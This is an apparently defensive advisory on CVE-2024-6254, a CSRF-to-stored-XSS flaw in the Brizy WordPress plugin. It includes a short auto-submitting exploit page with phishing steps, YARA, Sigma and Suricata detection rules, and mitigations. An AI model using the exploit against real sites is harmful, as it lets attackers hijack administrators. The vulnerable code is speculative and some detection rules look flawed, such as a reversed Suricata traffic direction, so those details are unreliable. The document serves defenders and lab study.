CVE-2024-6254

Executive Summary

CVE-2024-6254 is a Cross-Site Request Forgery (CSRF) vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.5.1. The vulnerability arises from missing or incorrect nonce validation on form submissions, allowing an unauthenticated attacker to trick a site administrator into performing unintended actions. On sites where unfiltered_html is enabled, this can be chained with Stored Cross-Site Scripting (XSS) to achieve persistent code execution in the admin context. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a latent risk for WordPress deployments using the Brizy plugin.

WordPress Ecosystem Context

This vulnerability is specific to the Brizy plugin within the WordPress ecosystem. It does not affect the core WordPress application or server software like Apache or Nginx. The attack vector relies on social engineering of a site administrator, not on server-side misconfiguration.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (form submission manipulation)
• Availability Impact: Low (potential for stored XSS payloads)

Threat Level: Medium. While the CVSS score is moderate, the potential for chaining with Stored XSS on sites with unfiltered_html enabled elevates the risk. The lack of a patch and the widespread use of Brizy in WordPress sites make this a significant concern for defenders.

Deep Dive & Mechanics

The vulnerability is rooted in the Brizy plugin's form submission handling. WordPress plugins typically use nonces (number used once) to verify that requests originate from the intended user and not from a malicious third party. In Brizy versions up to 2.5.1, the form submission endpoint does not properly validate or require a nonce. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated administrator, submits a form on their behalf.

Attack Flow:

1. An attacker identifies a WordPress site using Brizy with unfiltered_html enabled (common in multisite or high-privilege setups).
2. The attacker crafts a CSRF exploit that submits a form to the Brizy endpoint, including a malicious JavaScript payload in a field that will be stored and rendered later.
3. The attacker tricks the admin into clicking a link (e.g., via phishing email or social media) that triggers the forged request.
4. The admin's browser sends the request with their cookies, and the form is submitted as if the admin did it.
5. The malicious payload is stored in the WordPress database (e.g., in a Brizy form entry or page content).
6. When the payload is rendered (e.g., on a page or in the admin panel), it executes as Stored XSS, potentially allowing the attacker to steal session cookies, deface the site, or perform further actions.

Key Condition: The unfiltered_html capability must be enabled for the admin role. This is often the case in WordPress multisite networks or when custom user roles are configured. Without it, WordPress will strip JavaScript from the submitted content, limiting the impact to form data manipulation.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern. The Brizy plugin likely uses a function like wp_ajax_nopriv_* or a custom REST endpoint for form submissions without nonce verification.

Vulnerable Code (Conceptual):

// In Brizy plugin, e.g., class-brizy-forms.php
add_action('wp_ajax_nopriv_brizy_submit_form', 'handle_form_submission');
add_action('wp_ajax_brizy_submit_form', 'handle_form_submission');

function handle_form_submission() {
    // Missing nonce check
    $data = $_POST['form_data'];
    // Process and store data
    update_post_meta($post_id, 'brizy_form_entry', $data);
}

Patched Code (Expected):

function handle_form_submission() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'brizy_form_nonce')) {
        wp_die('Security check failed');
    }
    $data = $_POST['form_data'];
    // Sanitize and store data
    $sanitized_data = sanitize_text_field($data);
    update_post_meta($post_id, 'brizy_form_entry', $sanitized_data);
}

The patch would add wp_verify_nonce() and proper input sanitization (e.g., sanitize_text_field() or wp_kses_post()) to prevent XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Brizy <= 2.5.1 installed and activated.
• An admin user with unfiltered_html capability (default for administrators in single-site, but may be disabled in multisite).
• Attacker can host a malicious HTML page.

Exploit HTML (CSRF + Stored XSS):

<!DOCTYPE html>
<html>
<body>
<form id="csrf_form" action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="brizy_submit_form">
    <input type="hidden" name="form_data" value='{"field_1": "<script>alert(\"XSS\")</script>"}'>
    <input type="submit" value="Submit">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

1. Host the above HTML on an attacker-controlled server.
2. Send a phishing email to the admin with a link to the hosted page.
3. When the admin clicks the link, the form is submitted automatically (via JavaScript) or manually.
4. The malicious script is stored in the Brizy form entry.
5. When the admin views the form entries (e.g., in the Brizy dashboard), the script executes.

Note: No public exploit code is available from Exploit-DB, so this is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual form submissions from admin IPs that contain script tags or suspicious payloads.
2. Check for nonce validation failures in WordPress debug logs (if enabled).
3. Review Brizy form entries for unexpected HTML/JavaScript content.
4. Use Web Application Firewall (WAF) rules to block requests with <script> tags in form fields.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with Brizy 2.5.1.
• Enable define('WP_DEBUG', true); in wp-config.php.
• Install a security plugin like Wordfence to log CSRF attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=brizy_submit_form and suspicious form_data parameters.
  • Referer headers from attacker-controlled domains.
• Host IOCs:
  • WordPress database entries in wp_postmeta with meta_key brizy_form_entry containing <script> tags.
  • Unusual admin user activity (e.g., form submissions from unexpected IPs).
• File IOCs:
  • Modified Brizy plugin files (if attacker gains code execution via XSS).
• Log IOCs:
  • WordPress debug.log entries showing nonce verification failures (if patched later).

Detection Engineering

YARA Rule

rule CVE_2024_6254_Brizy_CSRF_XSS {
    meta:
        description = "Detects Brizy plugin CSRF/Stored XSS payloads in WordPress post meta"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6254"
    strings:
        $payload = /<script[^>]*>.*<\/script>/ nocase
        $brizy_key = "brizy_form_entry"
    condition:
        $brizy_key and #payload > 0
}

Sigma Rule

title: Brizy Plugin CSRF to Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF exploitation of Brizy plugin leading to stored XSS
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=brizy_submit_form'
        cs-uri-query|contains: 'form_data'
    condition: selection
falsepositives:
    - Legitimate form submissions by admins
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6254 Brizy CSRF Form Submission"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=brizy_submit_form"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable unfiltered_html for all user roles except super admins if not required. Add to wp-config.php:

   define('DISALLOW_UNFILTERED_HTML', true);
   

2. Update Brizy to the latest version (if a patch becomes available). Currently, no patch exists, so consider disabling the plugin until a fix is released.
3. Implement CSRF tokens manually via a custom plugin or WordPress hooks if you rely on Brizy forms.

Long-term Mitigations:

• Use a Web Application Firewall (WAF) with rules to block CSRF-like requests.
• Enforce Content Security Policy (CSP) headers to prevent inline script execution.
• Regularly audit WordPress plugins for security updates.
• Educate administrators about phishing risks and the importance of not clicking suspicious links.

Workaround:

• Replace Brizy forms with a secure alternative (e.g., Gravity Forms with nonce validation) until a patch is released.

Valters IT